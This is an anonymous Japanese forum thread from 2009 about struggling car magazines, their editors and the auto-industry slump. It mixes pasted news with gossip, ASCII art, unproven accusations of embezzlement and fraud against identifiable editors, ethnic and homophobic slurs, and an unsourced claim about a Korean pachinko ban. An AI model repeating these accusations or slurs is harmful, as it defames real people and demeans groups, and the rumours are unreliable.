テレビもスポンサー激減で予算カット。下請けの制作会社の倒産ラッシュへ

>>163
MAG-Xは編集長が自ら税金過少申告がばれた程度の
コンプライアンスで雑誌を作っているからな

車別で点数つけたり、同車種で優劣つけたり、この雑誌は一体何がやりたいの？

>>160

>>164
それ学研のことじゃねえの？（・ω・）

　〇∧〃　
　／ >　　でもそんなの関係ねぇ〜
　＜ ＼　　そんなの関係ねぇ〜（・ω・）

小誌、しんりょう編集長が「サイバーX」で
偽善的かつ建前論的なブログを掲載したことを
読者におわびする。
　 （『マガジンX』　2月号より）

>>168
コレだけ働いて手取り20万円前後ということは、
ボーナスを入れて年収が300万円に届かないってことじゃん
それでトップがあんなグダグダな何をやってんだかわからないような働きぶり、
っていうかサボリで年収1200万円って許せないよなあ
最近、すごい勢いで怒りがこみ上げて来ているんだけど、このやり場のない怒りを
どこにぶつけていいのかわからない

>>173
ここの編集部には
お釜の30過ぎの童貞編集部員がいるらしいｗ

韓国では今年６月にパチンコが法律で禁止されていた。

韓国には今年はじめにはコンビニよりも多い１万５千軒のパチンコ店があり、３兆円市場に
なっていた。それが、今年６月に韓国政府によって法律で禁止された。

その効果で韓国内の個人消費が伸びているという。パチンコに流れていた金が商店に
入るようになった。

台湾でもパチンコが非合法化されているが、日本のマスコミが報道することを拒絶して
いるせいで日本では全く知られていない。


・パチンコの広告宣伝費は日本のマスコミの生命線

　家電や自動車などの広告が激減した（宣伝しても売上げに影響がない）（品質の悪い製品
はいくら宣伝しても売れない）ので、マスコミはパチンコの広告に依存するようになった。

新生三栄&自動車業界にとって、久々の明るいニュース

http://love6.2ch.net/test/read.cgi/zassi/1102492749/l50#tag392

http://image.blog.livedoor.jp/dqnplus/imgs/e/1/e13df521.jpg

マ　ガ　ジ　ン　X　、ってばっかりうるせーよ首になったお前。神でください

月刊自家用車ってのを初めて読んだんだが
本体＋オプションからの値引きが○○円って書いてあるのに
オプションだけの価格が書いてないんじゃあ参考にならない。
オプション1万と30万では値引き額も違って当然だろうに。

だから欠陥自家用車って言うんだよ。今年消えるクルマ本の最有力候補w

ワロタｗ

代ゼミ2009年度用私立大学入試難易ランキング表 《法･経済・経営・商系》
（2008年11月18日）更新 / [教科数
68 慶應法B［2］
67 慶應経済［2］
66 早稲田政治経済　早稲田法　慶應商［2］ 慶應総合政策［2］
65 上智法 早稲田商
64 上智経済 中央法 早稲田教育（社会科学専攻） 同志社法
63 学習院法 学習院経済 中央商 明治法 明治商 明治政治経済 立教経済　 立命法A 　ICU教養［1］
62学習院法 学習院経済 中央商 明治法 明治商 明治政治経済 立教経済 立教法 同志社経済個別 同志社商フレA 同志社商フレB
62 立教経営 同志社政策個別 青山国際政経A （国際政治）
60 早稲田社会科学　青山学院国際政経A（国際経済）法政法 明治経営
　　立命政策科学A 関大法個別 関大政策 関学法A 関学商A 中央総合政策（政策科)

　　 ∧＿∧
　　（　　＾＾ ）＜ ぬるぽ（＾＾）

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（・ω・）？

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　〇∧〃　
　／ >　　でもそんなの関係ねぇ〜
　＜ ＼　　そんなの関係ねぇ〜（・ω・）

男に相手にされない癖に「バカモテ」「ふられたことない」「好きな男と付き合えなかったことは一度もない」と言いふらし
虚言本に「実録」の帯を付けて売り出し、億稼いだと言われる自慢エッセイスト、誤字小節家の蝶々さん(蛾)
その実態は偽装が叩かれるこのご時世に、本人申告とは驚くほどの真逆！騙されたと読者の怒りが大爆発。
修整写真と修整前の顔写真の比較。呆れる別人ぶり！意地悪そうな爬虫類系の目。　http://p.pita.st/?gwopqr6h　http://d.pic.to/zioho

【偽医療】AKA 関節運動学的ｱﾌﾟﾛｰﾁ【ｲﾝﾁｷ医療】
http://gimpo.2ch.net/test/read.cgi/body/1211885077/
千城台クリニックのＡＫＡ療法による不正請求返金
http://gimpo.2ch.net/test/read.cgi/healing/1207056268/
【肩こり腰痛】日本関節運動学的ｱﾌﾟﾛｰﾁ(AKA)医学会
http://society6.2ch.net/test/read.cgi/hosp/1229493132/

黒糸被害はあった
しかし盗聴テロリストはその一連の「事実」を真正面から揉み消し
多方面に被害者を「足のない怨霊」のように通達しては未必の故意ともとれる延焼茶番劇場を推し進めた

ある雑誌編集者に見る、“優しいリストラ”の手口

http://bizmakoto.jp/makoto/articles/0901/22/news003.html

ダイハツ：開発拠点の稼働延期など検討−世界的な自動車需要減で(２)

１月26日（ブルームバーグ）：
トヨタ自動車の子会社、ダイハツ工業は自動車需要の世界的低迷を受け、
福岡市内に建設している車両開発拠点の稼働予定（2010年４月）先送りを検討している。
今期の設備投資案件の延期も考える方針だ。

ダイハツの箕浦輝幸社長は26日、ブルームバーグ・ニュースのインタビューで、設備投資計画は必要なものに絞り込んでおり、
「止めるのでなく、来期にずらしてよいものは緊急委員会で検討している」と述べた。
車両開発拠点のダイハツ九州開発センターの稼働について「建物はすでにできているが、
機械の搬入をずらすなどの対応が必要だろう」と語った。
２、３月の需要動向次第では、さらに先送りする必要もあるとの認識を示した。今期の設備投資は 930億円を見込んでいる。


ブルームバーグ
http://www.bloomberg.co.jp/apps/news?pid=90003017&sid=a_V7mV1tCnNg&refer=jp_news_index

【童帝陛下】夫馬康雄 公開処刑場 2【ﾋﾞﾁｸﾞｿﾆｰﾄ】
http://namidame.2ch.net/test/read.cgi/car/1231591322/

アポロの編集長＜一般的な出版社の下っ端
編集長クラスが部下に対してあまりにも無関心すぎる。
あれでは、人は育たない。
育てる器量もない奴ばかりw

モーターファン別冊シリーズ(〜のすべて)でモデルやってた［赤坂やよい］のプロフィール知りませんか？

　 |┃　　　　　　　　　　　＿＿
　 |┃　 　 スー　　　 ｲ´　　　｀ヽ
　 |┃　三　　　 　 ／ /　￣￣￣ ＼　ﾊｧﾊｧ…
　 |┃　　　　　　 /_／　　 　 ∞　 　 ＼_
　 |┃　　　　　 [＿＿＿＿＿＿＿＿＿_]　＜　話は聞かせてもらった。誰が変態で
　 |┃　三 　 　 |　　　///（__人__）///　|　馬鹿だって
　 |┃　　 ﾊｧ… ＼　　　　 ｀ ⌒´　　 ,／
　 |┃　　　 　 　 ／ゝ　　 　 "`　 ィ　｀ヽ.
　 |┃　三 　 ／　　　　　　編 　　　　　　＼
,⊆ﾆ´⌒￣￣"　　y　　　　集 　　　　 r､　 ヽ
ﾞ⊂二、,ノ──-‐'´|　 ﾟ　　長 　 ﾟ 　　.| l"　 |
　 |┠ '　　　　　　　|　 　 　　 　 　 　 l/'⌒ヾ
　 |┃三　　　 　 　 |　 　　　 　　 　 　 |ヾ___ｿ
　 |┃　　　　　　／　 ＼　　　　 ／　　 ｌ

　　　　　　　　　　　　　　　　　 ／￣￣＼
　　　　　　　　　　　　　　　　／　　ヽ_　　;;''"ﾞ''"ﾞ.､;;:〜''"''
　　　;''"ﾞ''" 　;''"ﾞ''"ﾞ....　　　（ ＿）（ ＿）　　｜　　 　 ＿＿＿_
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　　　　　　　　　　　　　　　 {　　 　 　 　　｜／　 （＿） 　（ ＿） ;''"ﾞ''" 　;''"ﾞ''"ﾞ....
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;''"ﾞ''" 　;''"ﾞ''"ﾞ....　　　,-､　　　ヽ　　　　　ノ、＼ 　　　｀ ⌒´ 　　　　,／__
　;;''"ﾞ''"ﾞ.､;;:〜''"''　 / ノ／￣／ ` ー ─ '/＞＜　　` ー─ ' ┌､ ヽ　　ヽ,
　　;; 　,,..､;;:〜''"ﾞ''/　 L_　 　 　 　 ￣　　／　　　 　　　 　　　_l__(　{　r-､ .ﾄ
　　,,..､;;:,,..､;;:〜'''　　　 _,,二)　　　　 ,,..､;;:,,..､;;:〜''''　　　　　 　〔― ‐} Lｌ　 | l) ）
　 {ー_-‐.'}　　　　　　 >_,ﾌ　　　 　 /　　　　　　　　　 　　 　 }二 ｺ＼ 　 Li‐'
　　i - +-|　 　　 ＿_,,,i‐ノ　　　　　l　　　　　　　　　　　　　 └―ｲ 　 ヽ　|
　　l＿ﾛ_.l　　 ,,..､;;:,,..､;;:〜'''' l　　　　　　　　　　 　 　 　;; 　,,..､;;:〜''"ﾞ''

200

さて、三推社/講談社ベストカー最新号2009．2．10号（編集人 勝股優）誌上144ページからの
「俺と疾れ！！２００９」だが
徳大寺有恒は冒頭エッセイで、ＵＳＡの大不況はという見出しでアイスランドの問題を例示して批評を展開している。
また賛否両論を引き起こしたＪ．スタインベックの作品『怒りの葡萄』を思い出すとまで言い放っているのに
今般の“トヨタショック”の影響については一切触れようともせず、論じていない。

Ｊ．スタインベック作品『怒りの葡萄』については
ＥＮＧＩＮＥ誌（新潮社）2009.3号130ページからの
国沢（徳大寺の愛弟子で自動車評論家を自称する輩）との誌上対談でも引っ張り出してきたが、
案の定、徳大寺は“トヨタショック”という表現を用いてトヨタを批判しないどころか、
同誌でも『トヨタはやるな。』などと、やっぱりトヨタへの太鼓もちに余念がなかった。


John Ernst Steinbeck （ジョン・アーンスト・スタインベック）
ttp://ja.wikipedia.org/wiki/%E3%82%B8%E3%83%A7%E3%83%B3%E3%83%BB%E3%82%B9%E3%82%BF%E3%82%A4%E3%83%B3%E3%83%99%E3%83%83%E3%82%AF

The Grapes of Wrath（『怒りの葡萄』）
ttp://ja.wikipedia.org/wiki/%E6%80%92%E3%82%8A%E3%81%AE%E8%91%A1%E8%90%84

誰にも愛されなくて、どこに行っても嫌われ者だと、気が狂っちゃうんだ。

【裁判】 三菱自動車の元市場品質部長ら２人、２審も有罪　横浜のタイヤ(重さ140kg)脱落母子３人死傷事故…東京高裁
http://mamono.2ch.net/test/read.cgi/newsplus/1233555881/

三菱自元部長ら２審も有罪　横浜の母子３人死傷事故　[02/02]
http://anchorage.2ch.net/test/read.cgi/liveplus/1233557424/

アゲハというキャバ嬢向け雑誌で
飯島さんを追悼するページがありましたが
モデルさんたちはすごく濃い化粧で
髪の毛も盛っていて中には頭に飾りをつけている人もいました
あまりに不謹慎なので抗議のメールします

これです
http://l.pic.to/uwtwd

●●● 自動車不況、トヨタ系部品メーカーを直撃…赤字転落が相次ぐ ●●●

自動車メーカー各社は、新車需要の低迷で減産を本格化、業績も悪化しているが、
それが部品メーカーにも波及してきた。
特に深刻なのがトヨタ自動車系列の部品メーカーで、トヨタと同様、赤字転落が相次ぐ見通しだ。

トヨタ系列部品メーカー各社は2月3日、4 - 12月期（第3四半期）の決算を公表したが、
合わせて通期業績見通しの下方修正が相次いだ。
　
国内最大手の自動車部品メーカーであるデンソーは今期の業績見通しを下方修正し、
連結決算を公表してから初となる最終赤字に転落する見通し。
アイシン精機、トヨタ車体も通期業績見通しを下方修正、最終赤字に転落する見通しとなった。

赤字に転落しないまでも、
トヨタ紡織、豊田合成なども大幅減益となっており、系列部品メーカーの業績は急激に悪化している。
　
さらに、1 - 3月の状況によっては、
トヨタ自動車自身、最終赤字に転落する可能性もあり、その場合には一段と減産が進むことが確実で、
赤字に転落するサプライヤーは増える見通し。
業績悪化の波が本格的に裾野にまで広がってきそうだ。


ttp://response.jp/issue/2009/0203/article119926_1.html

＜トヨタ＞最終赤字３５００億円に　０９年通期見通し下方修正

トヨタ自動車は６日、
０９年３月期連結決算第３四半期（０８年１０〜１２月＝米国会計基準）を発表した。
世界的な自動車市場の低迷で同期の最終赤字は１６４７億円に上った。
この結果、通期の見通しでは営業赤字が４５００億円、最終赤字が３５００億円と見込んだ。
昨年末には５００億円の最終黒字を見込んでいた。
最終損益の公表を始めた１９６３年１１月期以降初めて赤字となる見通し。


（毎日新聞）
ttp://headlines.yahoo.co.jp/hl?a=20090206-00000010-maiall-bus_all

三推社／講談社ベストカー最新号2009．3．10号（編集人 勝股優）誌上144ページからの
「俺と疾れ！！２００９」だが
徳大寺有恒は冒頭エッセイで、最大級の賛辞を！という見出しで批評を展開しているが、
案の定、トヨタと次期社長への尋常でない提灯記事に終始している。
日本国の首相を上回ると思うと無責任極まりない自論を展開しているが、
極めつけは「（豊田章男を）よく知らないが、最大級の賛辞を送りたい」という発言は如何なものか？

夫馬おまえの人生がいかがなものか

夫馬
物書きってのはな昔から「売文屋」とも称される程度のもので、それを編集者やらの関係者が便利だから
「先生」と呼んで持ち上げて都合の良い文を書かせてるだけ。
昔から御用物書きってのは星の数ほどいて、徳大寺の場合はトヨタの御用物書きってだけだ。
雑誌だって広告で成立してるもんであって広告料の高い順に提灯していき、世論がその企業を叩き始めた
時には世論に迎合して調子を合わせてるだけ。
マツダ叩きの際でもロードスターは持ち上げてバランス取ったりしてな全ては営利活動なの。
商業誌に公正なジャーナリズムを求めちゃいかんよ。

皆様には

大変ご迷惑おかけしています。

2つの事情が同時に重なり少しの間、編集部が機能していませんでした。

その為2月〜4月まで月刊Cをお休みして春にリニューアル復活を目指しています。

2つの事情って何？

2つの事情って気になる

>>204
本気で愛ちゃんを思っているなら
違うやり方があったyo。
ホント泣きたくなった。

島下泰久の文章って的を射ている上に味わい深い。
若手ジャーナリストの中では群を抜いていると思う。
ルックスも中々だし最高の人材だろう。
今後とも注目し応援したいと考えているよ。

　　 ∧＿∧
　　（　　＾＾ ）＜ ぬるぽ（＾＾）

>>212
社内のゴタゴタと、取引先との不調。

島下泰久って最近よく見るね
売れてるライターなんだね

月刊C、ブログも飛んでる

編集長がDQN社長に頭に来て飛び出したというのは本当だったのかｗ

出戻って笑いモンになんなよｗ

　〇∧〃　
　／ >　　でもそんなの関係ねぇ〜
　＜ ＼　　そんなの関係ねぇ〜（・ω・）

222

　　　　　　　　 　 　　　／￣￣￣ ＼ 　
　　　　　　　　 　　　／　―　　　―　＼
　　　　　　　　 　 ／ 　 （●） 　（●）　　＼ 泣いちゃいました
　　　　　　　　 　 |　 　　　（__人__） 　　 　 |
　　　　　　　　 　 ＼　　 ｍj |⌒´ 　　 　／
　　　　　　　　 　　　　 〈＿_ﾉ
　　　　　　　　 　　　　ノ 　 ﾉ

>>220
お願いだから戻ってきてほしくないよ

ぷっ

>>224
自動車雑誌の編集長やっていた野郎なんて
ろくな奴がいないな。

木村沙織

【決算】三菱自動車、通期営業利益を前年比‐95%に下方修正　ダカールラリーから撤退［09/02/04］
http://anchorage.2ch.net/test/read.cgi/bizplus/1233729782/
【経済】三菱自動車、「ダカール・ラリー」から撤退　すべてのメーカー参加によるモータースポーツ活動を終了
http://mamono.2ch.net/test/read.cgi/newsplus/1233734809/
【モータースポーツ】三菱自動車、ダカールラリーから撤退
http://anchorage.2ch.net/test/read.cgi/mnewsplus/1233726668/

便器屋の娘

俺達ageageブラザーズ！
今日もネタもないのにageてやるからな！
￣￣∨￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　 ∧＿∧ 　 ∧＿∧ 　　　age
　（・∀・∩）（∩・∀・）　　　　age
　（つ　　丿 （ 　　⊂）　age
　 （　ヽノ　　 ヽ/　　）　　　age
　 し（＿）　　 （＿）Ｊ

Ｔｉｐｏ編集長　　嶋田智之様
今月号買わせてもらいました。

身内を集めた総力戦を読ませてもらいました。
感想ですが
どれもこれも愚痴と悲観と過去の栄光の執着ばかりで
とても読者が購入意欲が沸く文面はありませんでした。

読者に夢を捨てるなとか説教を上から目線の文章等に呆れました。

Ｔｉｐｏ編集長　　嶋田智之様
貴殿は読者に向けた姿勢なんて無い。
あるのは自分らの新年度からの変化する職場の
変化が訪れるだろう生活への不安だ。

読者に向ける愚痴があるなら
広告主らに懇願しろよ。
広告引き上げないでと・・・。

俺は知っている。
昔からの広告主に3割増しで広告料を吹っかけ
怒られたらその場で「半額でいいです。」
とほざいた馬鹿のことを。。。。。。

おまえら全員アホであることを。。。。。

まあ長生きしなはれｗ

月刊死の田中編集長が失踪したけどなんかあったの？

雑誌が売れないのは知っていたけど彼の場合そんなの珍しいことじゃないのにｗ

田中達也またやったのかよｗ

在りし日の田中さんｗ
http://www.youtube.com/watch?v=63daGTuzTjA

↑わろた
いつの時代のバブル？

売れなくなると逃げるなんて最低だな

社長が毎日更新していたブログが突然止まったら倒産フラグ

■トヨタグループ
ttp://www.toyota.co.jp/jp/facilities/affiliates/index.html

（株）豊田自動織機　Toyota Industries Corporation
愛知製鋼（株）　Aichi Steel Corporation
（株）ジェイテクト　JTEKT Corporation
トヨタ車体（株）　Toyota Auto Body Co.,Ltd.
豊田通商（株）　Toyota Tsusho Corporation
アイシン精機（株）　Aisin Seiki Co.,Ltd.
（株）デンソー　DENSO CORPORATION
トヨタ紡織（株）　TOYOTA BOSHOKU CORPORATION
東和不動産（株）　Towa Real Estate Co.,Ltd.
（株）豊田中央研究所　Toyota Central Research and Development Laboratories, Incorporated
関東自動車工業（株）　Kanto Auto Works,Ltd.
豊田合成（株）　Toyoda Gosei Co.,Ltd.



トヨタ傘下（子会社）

日野自動車（株）　Hino Motors,Ltd.
ダイハツ工業（株）　Daihatsu Motor Co.,Ltd.

>>232
逃げる⇔何喰わぬ顔して復帰　の繰り返し？

ま、天下の田中だからな
ＤＱＮ社長にＤＱＮ編集長　楽しましてくれるわ

ＤＱＮ同士でうまくいくと思ったけど、あっさりと喧嘩ですか。

というか、田中が切られただけだわ
素人社長に、「この無能が･･･」って言われてｗｗ

定時制高校卒に無能とか言われたら逃げ出すよねｗ

倉地の宮内か?

ジョニーって何だよｗ

ジョニーよ。
相当のめり込んだんだな。周りが見えないだろ?
どーせだったら一千万オーバーの痛車雑誌やんなよw

自分のＤＱＮを隠すために、出版をやれば高尚だと考えて手を出しただけだから。

　　 ∧＿∧
　　（　　＾＾ ）＜ ぬるぽ（＾＾）

しかし、どうせ田中は連夜、会社の経費で赤坂、六本木だったんだろ

　　　　　　　　 　 　　　／￣￣￣ ＼ 　
　　　　　　　　 　　　／　―　　　―　＼
　　　　　　　　 　 ／ 　 （●） 　（●）　　＼
　　　　　　　　 　 |　 　　　（__人__） 　　 　 |
　　　　　　　　 　 ＼　　 ｍj |⌒´ 　　 　／
　　　　　　　　 　　　　 〈＿_ﾉ
　　　　　　　　 　　　　ノ 　 ﾉ

一方、ＤＱＮ社長は会社の金で無意味な海外旅行。

ひでー話

６〜７年ぶりに復活した車雑誌。
Ｗ１２４やＷ１２６、Ｒ１２９などのこだわりがあった時代の
ベンツが長期レポート（？）があって、個人的には良いかと…
ただ、前の時みたいに誰も知らないようなチューナーがいじった
車が出てくるとか、海外のレポートが載ってるとかだと、個人的
にはもっと良い。ネットの発展があるから色々難しいだろうけど
がんばって欲しい。みんなのイケーンをきぼーんぬ！

ＸａＣＡＲが全然面白くない。以前は発売日の朝に買っていたのに…

　　　 　　 　_、_
　　　　　　.（；^ω^）
　　　　 　 ﾉ ＼ �o ＼�o 　　　
　 　　　 （　ヽ ﾉ_ bヽd_ﾉ
　　　　　 ﾉ>ノ
　 　 　　レﾚ 　((
　　

倉知の宮内がブログで再刊宣言してるけど
どんな馬鹿面揃えてくるのか見ものだね

ブログなんか書いても１円の足しにもならんだろ
アフィリで儲けてんの？

　〇∧〃　
　／ >　　でもそんなの関係ねぇ〜
　＜ ＼　　そんなの関係ねぇ〜（・ω・）

自動車輸出総崩れ　大手８社、１月は前年比６割減　2009年2月25日23時58分
http://www.asahi.com/business/update/0225/TKY200902250297.html
http://www.asahi.com/business/update/0226/images/TKY200902250322.jpg
自動車８社の１月の国内生産・輸出実績

俺達ageageブラザーズ！
今日もネタもないのにageてやるからな！
￣￣∨￣￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　 ∧＿∧ 　 ∧＿∧ 　　　age
　（・∀・∩）（∩・∀・）　　　　age
　（つ　　丿 （ 　　⊂）　age
　 （　ヽノ　　 ヽ/　　）　　　age
　 し（＿）　　 （＿）Ｊ

１月の自動車国内生産、４０％減…４社が下落率最大
http://www.yomiuri.co.jp/atmoney/news/20090225-OYT1T01041.htm?from=navr
国内自動車大手８社が２５日発表した１月の国内生産は、８社合計で前年同月比４０・１％（約３８万台）減の５６万４９４５台だった。
新車販売不振に伴う減産が広がっているためだ。
２００８年１月の日産自動車、ホンダ、マツダ、三菱自動車の国内生産合計にほぼ匹敵する台数が消失した格好だ。
メーカー別では、マツダが６６・２％減、三菱自動車が６５・０％減、日産自動車が５９・０％減、
トヨタ自動車（ダイハツ工業、日野自動車含む）が３４・６％減で、いずれも過去最大の下落率を記録した。
８社合計の国内販売は、１９％減の２８万９６００台、輸出は５９・３％減の２２万４２８７台だった。
各社は２〜３月の工場の非稼働日を１月より増やして在庫調整にめどをつける方針だが、「生産台数が最低水準になるのは４〜６月」
（スズキの鈴木修会長兼社長）との見方もある。

…ヒサン杉…

GM赤字 過去2番目の3兆円
http://www.yomiuri.co.jp/atmoney/news/20090226-OYT1T00938.htm?from=top

中経が角川グループ入り
http://www.chukei.co.jp/group.pdf

　誤爆か？

６〜７年ぶりに復活した車雑誌。
Ｗ１２４やＷ１２６、Ｒ１２９などのこだわりがあった時代の
ベンツが長期レポート（？）があって、個人的には良いかと…
ただ、前の時みたいに誰も知らないようなチューナーがいじった
車が出てくるとか、海外のレポートが載ってるとかだと、個人的
にはもっと良い。ネットの発展があるから色々難しいだろうけど
がんばって欲しい。みんなのイケーンをきぼーんぬ！

三栄にこの前350万払ったけど
踏み倒しておけば良かった
こんな甘い会社

warai

【リコール】スズキ『エブリイ』『キャリイ』『スクラム』3車種約13万台…後輪デファレンシャルに不具合、発生件数45件人身事故2件[2/25]
http://anchorage.2ch.net/test/read.cgi/bizplus/1235658041/

（・ω・）？

日産が先に行きそうだ
日立みたいに赤垂れ流しながら
生き延びるわけないな

便器屋のむすめ

自動車業界が大変なのに雑誌なんて読まないだろう。
NS-Xとか高級車やスポーツカー
庶民とは縁のない話ばかり。

そしてこのような事態の原因を作って、数々の背任行為と横領をして逃げた前取締役編集長を
許す事は出来ません。　弁護士の先生、新しい編集部、現在協力頂いてる沢山の方々とこの件
に関しても社会的追及をして行きたいと考えています。

それにしても僕らを含め色んな方々にその場しのぎの嘘をついて逃げて、私生活もぐちゃぐちゃ、
これからもそんな生き方で行くののかなT氏は？　絶対に許せません。

http://ameblo.jp/johnny77/entry-10217055260.html


始まったなｗ

特別背任と業務上横領は刑事事件だよ。
これは注目が集まるね。

>>274
すいません。この人ってCの人？

やっぱりなぁ　納得

ねこ、惨嬰をとおして金に関してルーズなのは業界周知だったのにそんな人間に大金扱わせるなんて「猫に魚屋やらせるようなもん」だよｗ

惨嬰やめたときもいろいろ噂があったし、こうなることは雑誌が立ち上がった時点で見えていた
創刊号を立ち読みしたとき自動車雑誌だと思ったらメンズエステ、ゴルフ、宝石、ファッション・・あまりの酷さに目眩がして創刊3号目で廃刊だと確信したんだけどよく保ったよね
とにかくあの人はいちど塀の中で臭いめしを喰って人生反省しないとだめだね

「稀代の悪」「生まれながらの詐欺師」という評判がたつのも判る気がする

>>273
そうなんだけど、高級車やスポーツカーを扱わないと誰も買わないしな。
普通のおばちゃんが水着着てる写真を載せても誰も買わないだろ？
華やかじゃないとダメなんだよ。でも、もう車は実用性だけを求めてる人が
多いから、需要がないんだよね。売上も軽がダントツで多いし。

取締役編集長も悪なら、オマエも悪だろ、ジョニー（ｗ

目糞ハナクソだな。

ttp://blog.livedoor.jp/itoboxsp/archives/51566899.html

雑貨ーｗ

ジョニー兄さんが怒りでぷるぷる震えています

返信

■Tの素性を調べるべきでしたね(*´ο`*)=3

初めまして。
心中、お察しします。
私はTより以前にG誌の編集長をしていましたが、Tの大言壮語っぷりは有名な話でしたよ。
しかも、詐欺師だし、横領は日常茶飯事だし、自己中心的だし、とんでもない男です。
Tに三栄書房時代、雑誌創刊のプレゼンのノウハウを教えてのは私ですので、よくわかります。
また、副を務めさせていたSKは仕事の出来ない男です。根本的に編集センスがない上に、Tと同様に経費の私的使い込みばかりする人間です。
SKは私が編集長をしていた時、部下だったので、T同様よく知っております。
Tについて徹底的に調べると共に、SKもこの際、しっかり洗った方が、貴殿のためになると思いました。
雑誌ビジネスには非常に難しい時代ですが、頑張ってください。
陰ながら、応援しています。
ちなみに、スタッフのH君も僕の部下でした。彼は仕事のでき、性格も悪くない人間ですよ。
それでは頑張ってください。
元編集長 2009-03-10 01:37:12 >>このコメントに返信
http://ameblo.jp/johnny77/entry-10217055260.html#main


タッチャンの前の元禄編集長なんて書いたらバレバレジャンｗ
しかし内部告発が続きますな
タッチャンは騙されてから詐欺師と気づく典型的な詐欺師だと言うことは業界人はみんな知っていたと思ったのに
ジョニーとかいうDQN成り上がりのあんちゃんは知らなかったようでころっと騙されたようですなｗ
ところでタッチャンは本当に失踪したの？
今頃、次のカモネギを探していたりして

次のカモって
城＝ザッカーのこと？ｗ

　〇∧〃　
　／ >　　でもそんなの関係ねぇ〜
　＜ ＼　そんなの関係ねぇ〜

ゲンロク身売りｷﾀ━━━（ﾟ∀ﾟ）━━━!!!!!
それなりに売れていたと思ったのに何故？
ブガッティベイロンを編集長がアクアラインで全損させたのが原因なの？

イチローが読む雑誌がなくなるな

どこに譲渡したの？

>>290
大黒屋

>>290
ブックオフ

三栄って、三国人が栄えるから、三栄なの？

八重洲もモーターマガジン社もヤバイよ

中の組織を見ていると会社が壊れていくのが手に取るように分かる

348 ：匿名希望さん：2009/03/16(月) 21:42:01
写真部が閉鎖になったんだってなMM社
かなりヤバイ状況だよなこれって

３月決算が赤字必至で、数年来赤字だから、社長一族の財産確保のために
５月頃には会社を閉めるそうだ

いよいよ本格的に廃刊……どころか自動車専門出版社の倒産ラッシュが
きたか？？？

ハイエース景気、痛車ブームで調子こいている芸文社はどうよ

マニアックな分野に強いから出版不況でもあまり影響ないらしいけど

モーターマガジン社は何処にでもあるような雑誌ばかりで競合誌が多すぎで淘汰される側の雑誌しかないｗ

カー倉＞＞＞＞＞＞モーターマガジン
ベストカー>>>>>>>>>>>>>ホリデーオート

これ以上続けても赤字が増えるだけなのは確かだな
早めに会社整理して資産の確保に専念するのは経営者として当然の判断だと重う
自社ビルなど不動産だけでもかなりあるからね

一時言われまくってた内害出版社はまだいけてんのですか?

内外はクルマだけじゃないからなあ。
安値安定というか、派手さないけど結構堅実なんじゃないかな。

>>298
どこも火の車だろ？　ベストカーだって最近はマシな広告取れてないし。
むしろベストカーの三推社の方が危なそうだ。編集部がベストカーとフェネックしかない。
グループの光文社、親会社の講談社はともに大赤字だし。

いままでこんな馬鹿みたいな数の自動車雑誌が成り立っていたこと自体が不思議じゃない？

内害はオーナーが存続意欲を失っているだろ

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欠陥自家用車はミニバン並べてるだけだし、嘔吐メカニックはインチキ電波部品の広告に頼ってる
糞雑誌に成り下がった。クルマ以外の雑誌は他誌の４番煎じ、、。亡い害はバブルの時に終わっとるって

内緒の話だけど、ヴぇ異論代って内外が貸したんだろ？
まだまだいけるというか、トップに立つかも

＞嘔吐メカニックはインチキ電波部品の広告に頼ってる


ここ数年のオカルトパーツにたいする礼賛はすごいよなｗ
メーカーの開発が聞いたら腹抱えて嗤いそうなインチキ商品を記事ページで「絶大な効果有り燃費１０％アップ」「低速トルクと高速の伸びは確実に感じられる」だってよ

自動車雑誌として潰れても「幸せを呼ぶ宝石」の専門誌としてリニューアルできるぜｗ

もうどこの整備工場も嘔吐メカニックなんて置いてないよ。
時々やるシロート向けのパテ埋めや塗装記事もプラモの本の方が遥かにマシw
もう配管だな。そういえばウチに来た偏執は変わり者だったな

>>298
芸文、交通タイムスは特に語られないってことはそれなりにしっかりしてる証拠だろ

どこも同じ。

むしろ最近はマンネリ化しているような・・・。

昔よりつまらないね

自動車雑誌
出典: フリー百科事典『ウィキペディア（Wikipedia）』
http://ja.wikipedia.org/wiki/%E8%87%AA%E5%8B%95%E8%BB%8A%E9%9B%91%E8%AA%8C

豊富な『日本の主な自動車雑誌』リンクをどうぞ活用してください。荒らし厳禁。
------------------------------------------------------

今年は自動車雑誌の廃刊ラッシュがありそうだ。
半分以下になるよ。

ttp://ameblo.jp/krh-group/entry-10137600072.html

アポロの雑誌の編集後記、大半が「編集部を去ります」的な挨拶だった件

かつては日本カー・オブ・ザ・イヤー（COTY）の選考委員を務めていた「徳大寺有恒」こと杉江博愛だが、
COTYの運営方針やメーカーの接待攻勢等に疑問を持つようになり、
1990年代前半になって辞めたらしいんだが（ちなみに、この件は『間違いだらけのクルマ選び』でも触れていた）

これって
辞めるまでは
トヨタなどメーカーからの接待攻勢等に疑問を持ちながらも、
（接待そのもの自体を）断らなかった……としか思えないよなー。

散々おいしい思いをしておいて、自著で捨てゼリフを吐くような辞め方でもしたのかね？

>>315
一番最初に抜ける奴は言っても良いと思ってるんでしょ？

複数で犯罪を犯したとき、最初に自首してきた奴には情状酌量の余地があるのと一緒。

どうせ、いまも接待漬けなんだろう？
河口や親方がやめない理由はそこにあるわけ？

接待にもいろいろあるが
一番多いのが便宜供与
たとえば
冬休み家族で旅行したいんだけど
ミニバン貸してよ　とか
それの発展型が
1年ぐらいの貸与だね

あとウチの子がトヨタカップ見たいんだけど・・・
打ち合わせでま飯喰いましょう・・

接待で美味い思いするのはヒョーロンカとは限らないのだ。

接待するのは会社の金だからねww

みなさん接待とは思ってないだろ
空港から試乗会場までいって帰ってくるまで
自分の金一切使わないモンな
でかえりのお車代までもらったし
袋の厚さが違うんだよな
おれたち編集は１枚とかだが
お偉いさんは５枚はあった　
で社員は出張費まで貰って
あの日に帰りチャイ　

俺が原稿取り入ってたころの
☆島氏なんてたかり体質すごかったな
徳田維持氏はまとも　印税で余裕だったんだろうな

http://dec.2chan.net/up2/src/fu3239.jpg

辰巳安斎の糞ぶりだけはガチ

>>313
元からMBJもDCJも嫌いだったけど
ますます嫌いになりました

なーにが「メルセデス」だよ
「便通」で十分

以上

晒しておくか
http://stat.ameba.jp/user_images/64/21/10090874127.jpg

>>312
471 ：匿名希望さん ：2009/03/24(火) 08:26:19
＞又貸しの形になるとともに赤字を垂れ流す子会社の整理、赤字媒体の整理が先。
472 ：匿名希望さん ：2009/03/24(火) 11:28:22
整理はサ○ズやムック○ウスの方が先でしょう。

>>325
どれがMBJのヤツなのかわからんな。あの雑誌の編集も

